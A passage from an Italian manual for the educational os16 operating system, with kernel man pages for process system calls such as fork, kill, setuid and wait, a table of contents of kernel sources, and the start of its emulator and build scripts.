La funzione restituisce al processo chiamante il numero del processo figlio, mentre il risultato che si ottiene nel processo figlio che si trova a riprendere il funzionamento dallo stesso punto, è semplicemente zero. Ciò consente di distinguere quale sia il processo genitore e quale è invece il figlio. Se la funzione non è in grado di portare a termine il lavoro di duplicazione dei processi, restituisce il valore −1, aggiornando di conseguenza la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`ENOMEM`	Non c'è memoria sufficiente, oppure la tabella dei processi è occupata completamente.

FILE SORGENTI

'`lib/unistd/fork.c`' [106.17.17]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_fork.c`' [105.9.23]

VEDERE ANCHE

fork(2) [98.14], *sys(2)* [98.37], *isr_80(9)* [104.8.1], *sysroutine(9)* [104.8.28], *proc_scheduler(9)* [104.8.11], *dev_io(9)* [104.1.1].

104.8.23 os16: proc_sys_kill(9)

NOME

'**`proc_sys_kill`**' - invio di un segnale a uno o più processi elaborativi

SINTASSI

```
<kernel/proc.h>
int proc_sys_kill (pid_t pid_killer, pid_t pid_target, int sig);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid_killer***	Il numero del processo per conto del quale si invia il segnale.
`pid_t` ***pid_target***	Il numero del processo che dovrebbe ricevere il segnale.
`int` ***sig***	Il numero del segnale da inviare.

DESCRIZIONE

La funzione ***proc_sys_kill()*** invia il segnale ***sig*** al processo numero ***pid_target***, ammesso che il processo ***pid_killer*** abbia i privilegi necessari a farlo. Tuttavia, se il numero ***pid_target*** è zero o −1, si richiede alla funzione l'invio del segnale a un insieme di processi. La tabella successiva descrive i vari casi.

Identità efficace del processo ***pid_killer***	Valore di ***pid_target***	Effetto.
--	< -1	Il valore di ***pid_target*** non è ammissibile: si ottiene un errore.
0	−1	Viene inviato il segnale ***sig*** a tutti i processi con UID ≥ 2 (si esclude il kernel e il processo numero uno, '**`init`**').
> 0	−1	Viene inviato il segnale ***sig*** a tutti i processi con UID ≥ 1 (si esclude il kernel) la cui identità efficace coincide con quella di ***pid_killer***.
--	0	Viene inviato il segnale ***sig*** a tutti i processi che appartengono allo stesso gruppo di ***pid_target***.
--	> 0	Viene inviato il segnale ***sig*** al processo ***pid_target***, purché l'identità reale o efficace del processo ***pid_killer*** sia uguale all'identità reale o salvata del processo ***pid_target***.

Si osservi che il preteso invio di un segnale pari a zero, ovvero di un segnale nullo, non produce alcun effetto, ma la funzione segnala comunque di avere completato l'operazione con successo.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_KILL`**'.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Operazione fallita, con aggiornamento della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`ESRCH`	Il processo ***pid_target*** non esiste, non è un processo che possa ricevere segnali, oppure il valore dato non è interpretabile in alcun modo.
`EPERM`	Il processo ***pid_killer*** non ha i privilegi necessari a inviare il segnale a ***pid_target***.

FILE SORGENTI

'`lib/signal/kill.c`' [106.8.1]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_kill.c`' [105.9.24]

VEDERE ANCHE

kill(2) [98.22], *sys(2)* [98.37], *isr_80(9)* [104.8.1], *sysroutine(9)* [104.8.28], *proc_scheduler(9)* [104.8.11], *proc_sig_on(9)* [104.8.16].

104.8.24 os16: proc_sys_seteuid(9)

NOME

'**`proc_sys_seteuid`**' - modifica dell'identità efficace

SINTASSI

```
<kernel/proc.h>
int proc_sys_seteuid (pid_t pid, uid_t euid);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Processo su cui intervenire per il cambiamento di identità efficace.
`uid_t` ***euid***	Nuova identità efficace richiesta.

DESCRIZIONE

La funzione ***proc_sys_seteuid()*** modifica l'identità efficace del processo ***pid***, purché si verifichino certe condizioni:

- se il processo ***pid*** è zero, l'identità efficace viene modificata senza altre verifiche;
- se l'identità efficace che ha già il processo coincide con quella nuova richiesta, non viene apportata alcuna modifica (per ovvi motivi);
- se la nuova identità efficace corrisponde all'identità reale del processo, oppure se corrisponde alla sua identità salvata, allora la modifica di quella efficace ha luogo come richiesto;
- in tutti gli altri casi si ottiene un errore.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_SETEUID`**'.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Operazione fallita, con aggiornamento della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EPERM`	Il processo ***pid*** non può cambiare l'identità efficace con il valore richiesto.

FILE SORGENTI

'`lib/unistd/seteuid.c`' [106.17.30]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_seteuid.c`' [105.9.25]

VEDERE ANCHE

seteuid(2) [98.33], *sys(2)* [98.37], *isr_80(9)* [104.8.1], *sysroutine(9)* [104.8.28], *proc_scheduler(9)* [104.8.11], *proc_sys_setuid(9)* [104.8.25].

104.8.25 os16: proc_sys_setuid(9)

NOME

'**`proc_sys_setuid`**' - modifica dell'identità

SINTASSI

```
<kernel/proc.h>
int proc_sys_setuid (pid_t pid, uid_t uid);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Processo su cui intervenire per il cambiamento di identità.
`uid_t` ***uid***	Nuova identità richiesta.

DESCRIZIONE

La funzione ***proc_sys_setuid()*** modifica l'identità del processo ***pid***, oppure tutti i tipi di identità, a seconda di certe condizioni:

- se l'identità efficace del processo ***pid*** è zero, viene modificata l'identità reale, quella salvata e quella efficace, utilizzando il nuovo valore ***uid***;

- se l'identità efficace del processo coincide già con quella del valore richiesto ***uid***, non viene apportata alcuna modifica e la funzione si conclude con successo;
- se l'identità reale o quella salvato del processo ***pid*** coincide con l'identità richiesta ***uid***, allora viene modificata l'identità efficace del processo con il valore ***uid***;
- in tutti gli altri casi si ottiene un errore.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_SETUID`**'.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
−1	Operazione fallita, con aggiornamento della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EPERM`	Il processo ***pid*** non può cambiare identità come richiesto.

FILE SORGENTI

'`lib/unistd/setuid.c`' [106.17.32]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_setuid.c`' [105.9.26]

VEDERE ANCHE

setuid(2) [98.33], *sys(2)* [98.37], *isr_80(9)* [104.8.1], *sysroutine(9)* [104.8.28], *proc_scheduler(9)* [104.8.11], *proc_sys_seteuid(9)* [104.8.24].

104.8.26 os16: proc_sys_signal(9)

NOME

'**`proc_sys_signal`**' - modifica della configurazione dei segnali

SINTASSI

```
<kernel/proc.h>
sighandler_t proc_sys_signal (pid_t pid, int sig,
                              sighandler_t handler);
```

ARGOMENTI

Argomento	Descrizione
pid_t ***pid***	Processo su cui intervenire per il cambiamento di configurazione.
int ***sig***	Segnale da riconfigurare.
sighandler_t ***handler***	Nuova azione da associare al segnale. Si possono solo usare i valori corrispondenti a '**SIG_IGN**' e '**SIG_DFL**', con cui, rispettivamente, si inibisce il segnale o gli si attribuisce l'azione predefinita.

DESCRIZIONE

La funzione ***proc_sys_signal()*** ha il compito di modificare il comportamento del processo nel caso fosse ricevuto il segnale specificato. Teoricamente, il parametro ***handler*** potrebbe riferirsi a una funzione da eseguire allo scattare del segnale; tuttavia, os16 non è in grado di gestire questa evenienza e per ***handler*** si può specificare soltanto il valore corrispondente all'azione predefinita o a quella di inibizione del segnale.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**SYS_SIGNAL**'.

VALORE RESTITUITO

La funzione restituisce il valore di ***handler*** abbinato precedentemente al processo. Se si verifica un errore, restituisce '**SIG_ERR**' e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
EINVAL	La combinazione degli argomenti non è valida.

FILE SORGENTI

'lib/signal/signal.c' [106.8.2]

'lib/sys/os16/sys.s' [106.12.15]

'kernel/proc.h' [105.9]

'kernel/proc/_isr.s' [105.9.1]

'kernel/proc/sysroutine.c' [105.9.30]

'kernel/proc/proc_sys_signal.c' [105.9.27]

VEDERE ANCHE

signal(2) [98.34], *sys(2)* [98.37], *isr_80(9)* [104.8.1], *sysroutine(9)* [104.8.28], *proc_scheduler(9)* [104.8.11], *proc_sys_kill(9)* [104.8.23].

104.8.27 os16: proc_sys_wait(9)

NOME

'**proc_sys_wait**' - attesa per la morte di un processo figlio

SINTASSI

```
<kernel/proc.h>
pid_t proc_sys_wait (pid_t pid, int *status);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il processo che intende mettersi in attesa della morte di un proprio figlio.
`int *`***status***	Puntatore a una variabile atta a contenere il valore di uscita di un processo figlio defunto.

DESCRIZIONE

La funzione ***proc_sys_wait()*** ha il compito di mettere il processo ***pid*** in pausa, fino alla morte di uno dei propri processi figli.

Per realizzare questo compito, la funzione scandisce inizialmente la tabella dei processi alla ricerca di figli di ***pid***. Se tra questi ne esiste già uno defunto, allora aggiorna ****status*** con il valore di uscita di quello, liberando definitivamente la tabella dei processi dalle tracce di questo figlio. Se invece, pur avendo trovato dei figli, questi risultano ancora tutti in funzione, mette il processo ***pid*** in pausa, in attesa di un segnale SIGCHLD.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**SYS_WAIT**'.

VALORE RESTITUITO

La funzione restituisce il numero PID del processo defunto, se c'è, aggiornando anche ****status*** con il valore di uscita dello stesso processo. Se invece il processo ***pid*** è stato messo in attesa, allora restituisce zero, mentre se non ci sono proprio figli di ***pid***, restituisce −1 e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`ECHILD`	Non ci sono figli del processo ***pid*** e a nulla servirebbe attendere.

FILE SORGENTI

'`lib/sys/wait/wait.c`' [106.15.1]

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/proc/proc_sys_wait.c`' [105.9.28]

VEDERE ANCHE

wait(2) [98.43], *sys(2)* [98.37], *isr_80(9)* [104.8.1], *sysroutine(9)* [104.8.28], *proc_available(9)* [104.8.3], *proc_scheduler(9)* [104.8.11], *proc_sys_fork(9)* [104.8.22], *proc_sys_kill(9)* [104.8.23].

104.8.28 os16: sysroutine(9)

NOME

'**`sysroutine`**' - attuazione delle chiamate di sistema

SINTASSI

```
<kernel/proc.h>
void sysroutine (uint16_t *sp, segment_t *segment_d,
                 uint16_t syscallnr,
                 uint16_t msg_off, uint16_t msg_size);
```

ARGOMENTI

Argomento	Descrizione
`uint16_t *sp`	Puntatore all'indice della pila dei dati del processo che ha emesso la chiamata di sistema.
`segment_t *segment_d`	Puntatore al valore del segmento dati del processo che ha emesso la chiamata di sistema.
`uint16_t syscallnr`	Il numero della chiamata di sistema.
`uint16_t msg_off`	Nonostante il tipo di variabile, si tratta del **puntatore** alla posizione di memoria in cui inizia il messaggio con gli argomenti della chiamata di sistema, ma tale puntatore è valido solo nell'ambito del segmento ***segment_d**.
`uint16_t msg_size`	La lunghezza del messaggio della chiamata di sistema.

DESCRIZIONE

La funzione ***sysroutine()*** viene chiamata esclusivamente dalla routine *isr_80(9)* [104.8.1], a seguito di una chiamata di sistema.

Inizialmente, la funzione individua il processo elaborativo corrispondente a quello che utilizza il segmento dati ***segment_d** e l'**indirizzo efficace** dell'area di memoria contenente il messaggio della chiamata di sistema, traducendo le informazioni contenute in ***msg_off*** e ***segment_d**.

Attraverso un'unione di variabili strutturate, tutti i tipi di messaggi gestibili per le chiamate di sistema vengono dichiarati assieme in un'unica area di memoria. Successivamente, la funzione deve trasferire il messaggio, dall'indirizzo efficace calcolato precedentemente all'inizio dell'unione in questione.

Quando la funzione è in grado di accedere ai dati del messaggio, procede con una grande struttura di selezione, sulla base del tipo di messaggio, quindi esegue ciò che è richiesto, avvalendosi prevalentemente di altre funzioni, interpretando il messaggio in modo diverso a seconda del tipo di chiamata.

Il messaggio viene poi sovrascritto con le informazioni prodotte dall'azione richiesta, in particolare viene trasferito anche il valore della variabile ***errno*** del kernel, in modo che possa essere recepita anche dal processo che ha eseguito la chiamata, in caso di esito erroneo. Pertanto, il messaggio viene anche riscritto a partire dall'indirizzo efficace da cui era stato copiato precedentemente, in modo da renderlo disponibile effettivamente al processo chiamante.

Quando la funzione ***sysroutine()*** ha finito il suo lavoro, chiama a sua volta *proc_scheduler(9)* [104.8.11], perché con l'occasione provveda eventualmente alla sostituzione del processo attivo con un altro che si trovi nello stato di pronto.

VALORE RESTITUITO

La funzione non restituisce alcun valore, in quanto tutto ciò che c'è da restituire viene trasmesso con la riscrittura del messaggio, nell'area di memoria originale.

FILE SORGENTI

'`lib/sys/os16/sys.s`' [106.12.15]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

VEDERE ANCHE

sys(2) [98.37], *isr_80(9)* [104.8.1], *proc_scheduler(9)* [104.8.11], *dev_io(9)* [104.1.1], *path_chdir(9)* [104.3.30], *path_chmod(9)* [104.3.31], *path_chown(9)* [104.3.32], *fd_close(9)* [104.3.3], *fd_dup(9)* [104.3.4], *fd_dup2(9)* [104.3.4], *proc_sys_exec(9)* [104.8.20], *proc_sys_exit(9)* [104.8.21], *fd_chmod(9)* [104.3.1], *fd_chown(9)* [104.3.2], *fd_fcntl(9)* [104.3.6], *proc_sys_fork(9)* [104.8.22], *fd_stat(9)* [104.3.50], *proc_sys_kill(9)* [104.8.23], *path_link(9)* [104.3.38], *fd_lseek(9)* [104.3.7], *path_mkdir(9)* [104.3.39], *path_mknod(9)* [104.3.40], *path_mount(9)* [104.3.41], *fd_open(9)* [104.3.8], *fd_read(9)* [104.3.9], *proc_sys_seteuid(9)* [104.8.24], *proc_sys_setuid(9)* [104.8.25], *proc_sys_signal(9)* [104.8.26], *path_stat(9)* [104.3.50], *path_umount(9)* [104.3.41], *path_unlink(9)* [104.3.44], *proc_sys_wait(9)* [104.8.27], *fd_write(9)* [104.3.12].

104.9 os16: tty(9)

Il file '`kernel/tty.h`' [105.10] descrive le funzioni per la gestione dei terminali virtuali.

Per la descrizione dell'organizzazione della gestione dei terminali virtuali di os16, si rimanda alla sezione 95.5. La tabella successiva che sintetizza l'uso delle funzioni di questo gruppo, è tratta da quel capitolo.

Tabella 95.37. Funzioni per la gestione dei terminali, dichiarate nel file di intestazione '`kernel/tty.h`'.

Funzione	Descrizione
`void tty_init (void);`	Inizializza la gestione dei terminali. Viene usata una volta sola nella funzione ***main()*** del kernel.
`tty_t *tty_reference (dev_t` ***device***`);`	Restituisce il puntatore a un elemento della tabella dei terminali. Se come numero di dispositivo si indica lo zero, si ottiene il riferimento a tutta la tabella; se non viene trovato il numero di dispositivo cercato, si ottiene il puntatore nullo.
`dev_t tty_console (dev_t` ***device***`);`	Seleziona la console indicata attraverso il numero di dispositivo che costituisce l'unico parametro. Se viene dato un valore a zero, si ottiene solo di conoscere qual è la console attiva. La console selezionata viene anche memorizzata in una variabile statica, per le chiamate successive della funzione. Se viene indicato un numero di dispositivo non valido, si seleziona implicitamente la prima console.
`int tty_read (dev_t` ***device***`);`	Legge un carattere dal terminale specificato attraverso il numero di dispositivo. Per la precisione, il carattere viene tratto dal campo relativo contenuto nella tabella dei terminali. Il carattere viene restituito dalla funzione come valore intero comune; se si ottiene zero significa che non è disponibile alcun carattere.
`void tty_write (dev_t` ***device***`, int` ***c***`);`	Scrive sullo schermo del terminale rappresentato dal numero di dispositivo, il carattere fornito come secondo parametro.

Parte vii

Codice

105 Script e sorgenti del kernel 5973

105.1 os16: directory principale 5978
105.2 os16: «kernel/devices.h» 5987
105.3 os16: «kernel/diag.h» 5996
105.4 os16: «kernel/fs.h» 6014
105.5 os16: «kernel/ibm_i86.h» 6118
105.6 os16: «kernel/k_libc.h» 6145
105.7 os16: «kernel/main.h» 6151
105.8 os16: «kernel/memory.h» 6161
105.9 os16: «kernel/proc.h» 6169
105.10 os16: «kernel/tty.h» 6226

106 Sorgenti della libreria generale 6231

106.1 os16: file isolati della directory «lib/» 6236
106.2 os16: «lib/dirent.h» 6247
106.3 os16: «lib/errno.h» 6254
106.4 os16: «lib/fcntl.h» 6259
106.5 os16: «lib/grp.h» 6263
106.6 os16: «lib/libgen.h» 6265
106.7 os16: «lib/pwd.h» 6268
106.8 os16: «lib/signal.h» 6270
106.9 os16: «lib/stdio.h» 6273
106.10 os16: «lib/stdlib.h» 6340
106.11 os16: «lib/string.h» 6368
106.12 os16: «lib/sys/os16.h» 6385
106.13 os16: «lib/sys/stat.h» 6406
106.14 os16: «lib/sys/types.h» 6413
106.15 os16: «lib/sys/wait.h» 6415
106.16 os16: «lib/time.h» 6416
106.17 os16: «lib/unistd.h» 6426
106.18 os16: «lib/utime.h» 6456

107 Sorgenti delle applicazioni 6459

107.1 os16: directory «applic/» 6459

Indice analitico del volume 6557

Script e sorgenti del kernel

Capitolo 105

105.1 os16: directory principale 5978

105.1.1 bochs 5978
105.1.2 qemu 5978
105.1.3 makeit 5979

105.2 os16: «kernel/devices.h» 5987

105.2.1 kernel/devices/dev_dsk.c 5987
105.2.2 kernel/devices/dev_io.c 5988
105.2.3 kernel/devices/dev_kmem.c 5989
105.2.4 kernel/devices/dev_mem.c 5992
105.2.5 kernel/devices/dev_tty.c 5994

105.3 os16: «kernel/diag.h» 5996

105.3.1 kernel/diag/print_fd.c 5998
105.3.2 kernel/diag/print_fd_head.c 5998
105.3.3 kernel/diag/print_fd_list.c 5999
105.3.4 kernel/diag/print_file_head.c 5999
105.3.5 kernel/diag/print_file_list.c 6000
105.3.6 kernel/diag/print_file_num.c 6000
105.3.7 kernel/diag/print_hex_16.c 6001
105.3.8 kernel/diag/print_hex_16_reverse.c 6001
105.3.9 kernel/diag/print_hex_32.c 6001
105.3.10 kernel/diag/print_hex_32_reverse.c 6002
105.3.11 kernel/diag/print_hex_8.c 6002
105.3.12 kernel/diag/print_hex_8_reverse.c 6003
105.3.13 kernel/diag/print_inode.c 6003
105.3.14 kernel/diag/print_inode_head.c 6004
105.3.15 kernel/diag/print_inode_list.c 6005
105.3.16 kernel/diag/print_inode_map.c 6005
105.3.17 kernel/diag/print_inode_zone_list.c 6006
105.3.18 kernel/diag/print_inode_zones.c 6006
105.3.19 kernel/diag/print_inode_zones_head.c 6007
105.3.20 kernel/diag/print_kmem.c 6007
105.3.21 kernel/diag/print_mb_map.c 6008
105.3.22 kernel/diag/print_memory_map.c 6008
105.3.23 kernel/diag/print_proc_head.c 6009
105.3.24 kernel/diag/print_proc_list.c 6010
105.3.25 kernel/diag/print_proc_pid.c 6010

105.3.26 kernel/diag/print_segments.c 6011
105.3.27 kernel/diag/print_superblock.c 6011
105.3.28 kernel/diag/print_time.c 6012
105.3.29 kernel/diag/print_zone_map.c 6012
105.3.30 kernel/diag/reverse_16_bit.c 6013
105.3.31 kernel/diag/reverse_32_bit.c 6013
105.3.32 kernel/diag/reverse_8_bit.c 6014

105.4 os16: «kernel/fs.h» 6014

105.4.1 kernel/fs/fd_chmod.c 6019
105.4.2 kernel/fs/fd_chown.c 6020
105.4.3 kernel/fs/fd_close.c 6021
105.4.4 kernel/fs/fd_dup.c 6023
105.4.5 kernel/fs/fd_dup2.c 6024
105.4.6 kernel/fs/fd_fcntl.c 6025
105.4.7 kernel/fs/fd_lseek.c 6026
105.4.8 kernel/fs/fd_open.c 6028
105.4.9 kernel/fs/fd_read.c 6032
105.4.10 kernel/fs/fd_reference.c 6035
105.4.11 kernel/fs/fd_stat.c 6036
105.4.12 kernel/fs/fd_write.c 6037
105.4.13 kernel/fs/file_reference.c 6039
105.4.14 kernel/fs/file_stdio_dev_make.c 6040
105.4.15 kernel/fs/file_table.c 6041
105.4.16 kernel/fs/inode_alloc.c 6041
105.4.17 kernel/fs/inode_check.c 6044
105.4.18 kernel/fs/inode_dir_empty.c 6046
105.4.19 kernel/fs/inode_file_read.c 6047
105.4.20 kernel/fs/inode_file_write.c 6049
105.4.21 kernel/fs/inode_free.c 6051
105.4.22 kernel/fs/inode_fzones_read.c 6052
105.4.23 kernel/fs/inode_fzones_write.c 6053
105.4.24 kernel/fs/inode_get.c 6055
105.4.25 kernel/fs/inode_put.c 6058
105.4.26 kernel/fs/inode_reference.c 6060
105.4.27 kernel/fs/inode_save.c 6062
105.4.28 kernel/fs/inode_stdio_dev_make.c 6063
105.4.29 kernel/fs/inode_table.c 6065
105.4.30 kernel/fs/inode_truncate.c 6065
105.4.31 kernel/fs/inode_zone.c 6067

105.4.32 kernel/fs/path_chdir.c 6076
105.4.33 kernel/fs/path_chmod.c 6077
105.4.34 kernel/fs/path_chown.c 6078
105.4.35 kernel/fs/path_device.c 6079
105.4.36 kernel/fs/path_fix.c 6080
105.4.37 kernel/fs/path_full.c 6082
105.4.38 kernel/fs/path_inode.c 6083
105.4.39 kernel/fs/path_inode_link.c 6087
105.4.40 kernel/fs/path_link.c 6092
105.4.41 kernel/fs/path_mkdir.c 6093
105.4.42 kernel/fs/path_mknod.c 6096
105.4.43 kernel/fs/path_mount.c 6097
105.4.44 kernel/fs/path_stat.c 6099
105.4.45 kernel/fs/path_umount.c 6100
105.4.46 kernel/fs/path_unlink.c 6103
105.4.47 kernel/fs/sb_inode_status.c 6106
105.4.48 kernel/fs/sb_mount.c 6107
105.4.49 kernel/fs/sb_reference.c 6110
105.4.50 kernel/fs/sb_save.c 6111
105.4.51 kernel/fs/sb_table.c 6113
105.4.52 kernel/fs/sb_zone_status.c 6113
105.4.53 kernel/fs/zone_alloc.c 6114
105.4.54 kernel/fs/zone_free.c 6115
105.4.55 kernel/fs/zone_read.c 6116
105.4.56 kernel/fs/zone_write.c 6117

105.5 os16: «kernel/ibm_i86.h» 6118

105.5.1 kernel/ibm_i86/_cli.s 6121
105.5.2 kernel/ibm_i86/_in_16.s 6121
105.5.3 kernel/ibm_i86/_in_8.s 6122
105.5.4 kernel/ibm_i86/_int10_00.s 6122
105.5.5 kernel/ibm_i86/_int10_02.s 6123
105.5.6 kernel/ibm_i86/_int10_05.s 6124
105.5.7 kernel/ibm_i86/_int12.s 6124
105.5.8 kernel/ibm_i86/_int13_00.s 6125
105.5.9 kernel/ibm_i86/_int13_02.s 6125
105.5.10 kernel/ibm_i86/_int13_03.s 6127
105.5.11 kernel/ibm_i86/_int16_00.s 6128
105.5.12 kernel/ibm_i86/_int16_01.s 6128
105.5.13 kernel/ibm_i86/_int16_02.s 6129

105.5.14 kernel/ibm_i86/_out_16.s 6130
105.5.15 kernel/ibm_i86/_out_8.s 6130
105.5.16 kernel/ibm_i86/_ram_copy.s 6131
105.5.17 kernel/ibm_i86/_sti.s 6131
105.5.18 kernel/ibm_i86/con_char_read.c 6132
105.5.19 kernel/ibm_i86/con_char_ready.c 6133
105.5.20 kernel/ibm_i86/con_char_wait.c 6133
105.5.21 kernel/ibm_i86/con_init.c 6134
105.5.22 kernel/ibm_i86/con_putc.c 6134
105.5.23 kernel/ibm_i86/con_scroll.c 6136
105.5.24 kernel/ibm_i86/con_select.c 6137
105.5.25 kernel/ibm_i86/dsk_read_bytes.c 6137
105.5.26 kernel/ibm_i86/dsk_read_sectors.c 6138
105.5.27 kernel/ibm_i86/dsk_reset.c 6140
105.5.28 kernel/ibm_i86/dsk_sector_to_chs.c 6140
105.5.29 kernel/ibm_i86/dsk_setup.c 6141
105.5.30 kernel/ibm_i86/dsk_table.c 6141
105.5.31 kernel/ibm_i86/dsk_write_bytes.c 6142
105.5.32 kernel/ibm_i86/dsk_write_sectors.c 6143
105.5.33 kernel/ibm_i86/irq_off.c 6144
105.5.34 kernel/ibm_i86/irq_on.c 6145

105.6 os16: «kernel/k_libc.h» 6145

105.6.1 kernel/k_libc/k_clock.c 6146
105.6.2 kernel/k_libc/k_close.c 6146
105.6.3 kernel/k_libc/k_exit.s 6147
105.6.4 kernel/k_libc/k_kill.c 6147
105.6.5 kernel/k_libc/k_open.c 6147
105.6.6 kernel/k_libc/k_perror.c 6148
105.6.7 kernel/k_libc/k_printf.c 6149
105.6.8 kernel/k_libc/k_puts.c 6149
105.6.9 kernel/k_libc/k_read.c 6149
105.6.10 kernel/k_libc/k_stime.c 6150
105.6.11 kernel/k_libc/k_time.c 6150
105.6.12 kernel/k_libc/k_vprintf.c 6151
105.6.13 kernel/k_libc/k_vsprintf.c 6151

105.7 os16: «kernel/main.h» 6151

105.7.1 kernel/main/build.h 6152
105.7.2 kernel/main/crt0.s 6152

105.7.3 kernel/main/main.c 6156
105.7.4 kernel/main/menu.c 6159
105.7.5 kernel/main/run.c 6160

105.8 os16: «kernel/memory.h» 6161

105.8.1 kernel/memory/address.c 6161
105.8.2 kernel/memory/mb_alloc.c 6162
105.8.3 kernel/memory/mb_alloc_size.c 6163
105.8.4 kernel/memory/mb_free.c 6165
105.8.5 kernel/memory/mb_reference.c 6167
105.8.6 kernel/memory/mb_table.c 6167
105.8.7 kernel/memory/mem_copy.c 6167
105.8.8 kernel/memory/mem_read.c 6168
105.8.9 kernel/memory/mem_write.c 6168

105.9 os16: «kernel/proc.h» 6169

105.9.1 kernel/proc/_isr.s 6171
105.9.2 kernel/proc/_ivt_load.s 6176
105.9.3 kernel/proc/proc_available.c 6177
105.9.4 kernel/proc/proc_dump_memory.c 6177
105.9.5 kernel/proc/proc_find.c 6179
105.9.6 kernel/proc/proc_init.c 6180
105.9.7 kernel/proc/proc_reference.c 6182
105.9.8 kernel/proc/proc_sch_signals.c 6183
105.9.9 kernel/proc/proc_sch_terminals.c 6183
105.9.10 kernel/proc/proc_sch_timers.c 6186
105.9.11 kernel/proc/proc_scheduler.c 6187
105.9.12 kernel/proc/proc_sig_chld.c 6189
105.9.13 kernel/proc/proc_sig_cont.c 6190
105.9.14 kernel/proc/proc_sig_core.c 6191
105.9.15 kernel/proc/proc_sig_ignore.c 6192
105.9.16 kernel/proc/proc_sig_off.c 6192
105.9.17 kernel/proc/proc_sig_on.c 6192
105.9.18 kernel/proc/proc_sig_status.c 6193
105.9.19 kernel/proc/proc_sig_stop.c 6193
105.9.20 kernel/proc/proc_sig_term.c 6194
105.9.21 kernel/proc/proc_sys_exec.c 6194
105.9.22 kernel/proc/proc_sys_exit.c 6206
105.9.23 kernel/proc/proc_sys_fork.c 6208
105.9.24 kernel/proc/proc_sys_kill.c 6213

105.9.25 kernel/proc/proc_sys_seteuid.c 6216
105.9.26 kernel/proc/proc_sys_setuid.c 6216
105.9.27 kernel/proc/proc_sys_signal.c 6217
105.9.28 kernel/proc/proc_sys_wait.c 6218
105.9.29 kernel/proc/proc_table.c 6219
105.9.30 kernel/proc/sysroutine.c 6219

105.10 os16: «kernel/tty.h» 6226

105.10.1 kernel/tty/tty_console.c 6227
105.10.2 kernel/tty/tty_init.c 6228
105.10.3 kernel/tty/tty_read.c 6228
105.10.4 kernel/tty/tty_reference.c 6229
105.10.5 kernel/tty/tty_table.c 6230
105.10.6 kernel/tty/tty_write.c 6230

105.1 os16: directory principale

105.1.1 bochs

Si veda la sezione 102.2.

```
10001 #!/bin/sh
10002
10003 bochs -q "boot:floppy" \
10004          "floppya: 1_44=floppy.a, status=inserted" \
10005          "floppyb: 1_44=floppy.b, status=inserted" \
10006          "keyboard_mapping: enabled=1, \
10007           map=/usr/share/bochs/keymaps/x11-pc-it.map" \
10008          "keyboard_type: xt" \
10009          "vga: none" \
10010          "romimage: file=\"/usr/share/bochs/BIOS-bochs-legacy\"" \
10011          "megs:1"
```

105.1.2 qemu

Si veda la sezione 102.2.

```
20001 #!/bin/sh
20002
20003 qemu -fda floppy.a \
20004      -fdb floppy.b \
20005      -boot order=a
20006
```

105.1.3 makeit

Si veda la sezione 102.2.

```
30001 #!/bin/sh
30002 #
30003 # makeit...
30004 #
30005 OPTION="$1"
30006 OS16PATH=""
30007 #
30008 edition () {
30009     local EDITION="kernel/main/build.h"
30010     echo -n                              > $EDITION
30011     echo -n "#define BUILD_DATE \""     >> $EDITION
30012     echo -n `date "+%Y.%m.%d %H:%M:%S"` >> $EDITION
30013     echo  "\""                          >> $EDITION
30014 }
30015 #
30016 #
30017 #
30018 makefile () {
30019     #
30020     local MAKEFILE="Makefile"
30021     local TAB="	"
30022     #
30023     local SOURCE_C=""
30024     local C=""
30025     local SOURCE_S=""
30026     local S=""
30027     #
30028     local c
30029     local s
30030     #
30031     # Trova i file in C.
30032     #
30033     for c in *.c
30034     do
30035         if [ -f $c ]
30036         then
30037         C=`basename $c .c`
30038             SOURCE_C="$SOURCE_C $C"
30039         fi
30040     done
30041     #
30042     # Trova i file in ASM.
30043     #
30044     for s in *.s
30045     do
30046         if [ -f $s ]
30047         then
30048         S=`basename $s .s`
30049             SOURCE_S="$SOURCE_S $S"
```

```
30050           fi
30051       done
30052       #
30053       # Prepara il file make.
30054       # GCC viene usato per potenziare il controllo degli errori.
30055       #
